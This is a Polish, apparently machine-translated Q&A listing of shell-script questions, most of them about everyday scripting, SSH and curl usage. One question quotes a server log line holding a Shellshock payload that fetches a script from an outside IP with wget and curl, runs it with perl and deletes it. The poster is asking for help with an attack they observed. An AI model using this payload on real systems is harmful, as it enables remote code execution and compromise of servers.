Pytania otagowane jako shell-script

Skrypt powłoki to skrypt napisany dla powłoki lub interpretera wiersza poleceń systemu operacyjnego.


3
Czy to atak, czy coś, o co należy się martwić? Shellshock?
Widziałem to access.logna moim serwerze testowym: > 173.45.100.18 - - [26/Sep/2014:07:09:53 +0200] "GET /cgi-bin/hi HTTP/1.0" 404 490 "-" "() { :;}; /bin/bash -c \"cd /tmp;wget > http://213.5.67.223/ji;curl -O /tmp/ji http://213.5.67.223/jurat ; > perl /tmp/ji;rm -rf /tmp/ji;rm -rf /tmp/ji*\"" Żaden z adresów nie jest powiązany ze mną ani z naszym zakresem …


7
Czy uruchomić skrypt powłoki w systemie OS X bez wyświetlania okna terminala?
Próbuję skonfigurować kilka skrótów klawiaturowych, które otwierają określone sesje iTerm, co mogłem zrobić z BetterTouchTool i odrobiną magii AppleScript. Problem polega na tym, że OS X nalega na otwarcie okna terminala dla dowolnego skryptu powłoki wykonanego za pomocą GUI (tj. Z Findera lub jako skrót klawiaturowy z BetterTouchTool). Okno terminala …



7
ssh i shell przez ssh: jak wyjść?
Uruchamiam odległy skrypt za pośrednictwem SSH w następujący sposób: ssh user@ipaddress '~/my_script.sh' Wszystko idzie dobrze, ale po zakończeniu skryptu połączenie nie jest zamykane. Muszę nacisnąć CTRL-C, aby przerwać bieżące połączenie. Próbowałem polecenia „exit” w pliku „~ / my_script.sh” i jest to bezużyteczne. Wypróbowałem polecenie „wyloguj się” w pliku „~ / …
22 bash  ssh  shell-script 


1
Bash: opcjonalnie przekazanie argumentów do polecenia
Próbuję dodać argumenty do wywołania polecenia zależne od innej zmiennej. Proszę spojrzeć na kod skryptu powłoki: curl \ $([ -z "${title}" ] || echo --data-urlencode title=${title}) \ http://example.com W tym przykładzie, jeśli nie titlezostanie podany null, zostanie dodany argument curl. To nie działa poprawnie, jeśli titlezawiera spacje. Również nie mogłem …



2
Pisanie skryptów powłoki, które będą działać na dowolnej powłoce (używając wielu linii shebang?)
Właśnie zacząłem zagłębiać się w skrypty powłoki i zawsze po prostu wrzucałem swój skrypt do pliku, zaznaczałem go, chmod +xa następnie robiłem /path/to/script.shi pozwalałem, aby dowolny interpreter był domyślny, co założyłem, że to zsh, ponieważ to właśnie Użyłem mojej muszli. Najwyraźniej wydaje się, że jest to /bin/shdomyślnie, nawet jeśli wykonuję …


1
Podziel bardzo długą linię słów na osobne linie o maksymalnej długości
Mam skrypt, który wyświetla listę pakietów w jednym długim wierszu oddzielonym spacjami. Informacje zawarte w tym wierszu należy wstawić do pliku tekstowego, który później zostanie przedstawiony użytkownikowi. Chcę podzielić długą linię na wiele linii o określonej maksymalnej długości, np. 80 znaków, ale podział powinien nastąpić tylko w spacjach (więc niektóre …


Korzystając z naszej strony potwierdzasz, że przeczytałeś(-aś) i rozumiesz nasze zasady używania plików cookie i zasady ochrony prywatności.
Licensed under cc by-sa 3.0 with attribution required.